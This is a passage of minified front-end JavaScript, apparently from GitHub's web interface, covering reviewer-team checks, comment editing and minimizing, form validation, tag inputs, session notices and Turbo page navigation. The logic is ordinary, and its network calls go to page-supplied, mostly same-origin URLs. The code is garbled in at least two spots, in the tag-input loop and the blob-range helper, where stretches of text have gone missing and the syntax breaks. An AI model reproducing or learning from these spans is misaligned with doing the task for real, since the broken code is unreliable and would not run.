URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new 